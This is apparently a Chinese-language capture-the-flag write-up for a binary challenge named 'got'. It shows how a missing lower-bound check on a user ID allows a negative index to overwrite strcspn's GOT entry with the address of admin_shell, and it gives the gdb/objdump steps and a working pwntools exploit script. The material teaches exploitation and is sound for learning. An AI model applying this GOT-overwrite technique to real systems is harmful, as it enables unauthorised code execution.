原始碼
本題無提供原始碼
解題
解題思路
利用更改got表的方式,跳到admin_shell()的function
確認保護機制
checksec --file=share/got

嘗試執行
User ID: 1
Nickname: 1
PIN: 1
Logging as [1] ... Failed
Incorrect PIN code!
User ID: ^C

Binary Ninja分析
分析1 :
004009b6 // 漏洞 : 只有限制UserID上限沒限制下限
004009b6 if (var_2c s<= 3)
分析2 :
004009f9 // 將NickName寫入user[id]的位置
004009f9 fgets(buf: &user[sx.q(var_2c)], n: 8, fp: stdin)
分析3 :
00400a23 // 將讀入的字串最後的\n換成0,過程中有用到strcspn的plt
00400a23 user[0][strcspn(&user[sx.q(var_2c)], "\n") + (sx.q(var_2c) << 3)] = 0

尋找需要的資訊
尋找admin_shell function位置
objdump -d got |grep -A 10 "<admin_shell>"

0000000000400924 <admin_shell>:
尋找strcspn在got表的位置
gdb ./got
b main
run
got strcspn

[0x601038] strcspn@GLIBC_2.2.5 -> 0x400736 (strcspn@plt+6) ◂— push 4
尋找user陣列的位置
p &user

$1 = (<data variable, no debug info> *) 0x6010c0 <user>
計算USER ID
0x601038-0x6010c0=-0x88
-0x88/8=-17
實際payload
from pwn import *
context.arch = 'amd64'
host='chall.nckuctf.org'
port=28210
r=remote(host,port)
'''
[0x601038] strcspn@GLIBC_2.2.5 -> 0x400736 (strcspn@plt+6) ◂— push 4
0000000000400924 <admin_shell>:
400924: 55 push %rbp
400925: 48 89 e5 mov %rsp,%rbp
400928: ba 00 00 00 00 mov $0x0,%edx
$1 = (<data variable, no debug info> *) 0x6010c0 <user>
'''
admin_shell=0x400924
strcspn_in_got=0x601038
user_array=0x6010c0
user_id=-17
'''
0x601038-0x6010c0=-0x88
-0x88/8=-17
'''
r.sendlineafter(b'ID: ',str(user_id).encode())
r.sendlineafter(b': ', p64(admin_shell))
r.interactive()
flag



說些什麼吧!